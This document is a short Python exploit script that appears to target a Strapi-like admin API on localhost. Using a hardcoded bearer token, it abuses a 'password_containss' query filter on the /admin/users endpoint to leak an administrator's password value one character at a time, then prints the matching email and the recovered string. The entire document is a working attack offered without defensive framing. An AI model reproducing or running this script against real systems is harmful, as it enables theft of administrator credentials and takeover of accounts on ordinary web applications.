import requests import json import string import urllib.parse r = requests.session() url = "http://localhost:1337/admin/users?pageSize=10&page=1&_sort=firstname%3AASC&firstname_containss=admin&password_containss={}" auth = {"Authorization":"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNjM5MTMxMTA3LCJleHAiOjE2NDE3MjMxMDd9.B9zpgqS82u9BnzBqfGq9OrT2eQZEYx4iSRTvvV0qeQ0"} leak_pass = "" poss_char = string.printable[:-6].replace("%","") while True: print("Leak : " + leak_pass) known_len = len(leak_pass) for i in poss_char: safe_string = urllib.parse.quote_plus(leak_pass+i) tmp_url = url.format(safe_string) data = json.loads(r.get(tmp_url,headers = auth).text) if(len(data['data']['results']) > 0 ): leak_pass += i break if(known_len==len(leak_pass)): break while True: print("Leak : " + leak_pass) known_len = len(leak_pass) for i in poss_char: safe_string = urllib.parse.quote_plus(i+leak_pass) tmp_url = url.format(safe_string) data = json.loads(r.get(tmp_url,headers = auth).text) if(len(data['data']['results']) > 0 ): email = data['data']['results'][0]['email'] leak_pass = i + leak_pass break if(known_len==len(leak_pass)): break print("Email : " + email) print("Password : " + leak_pass)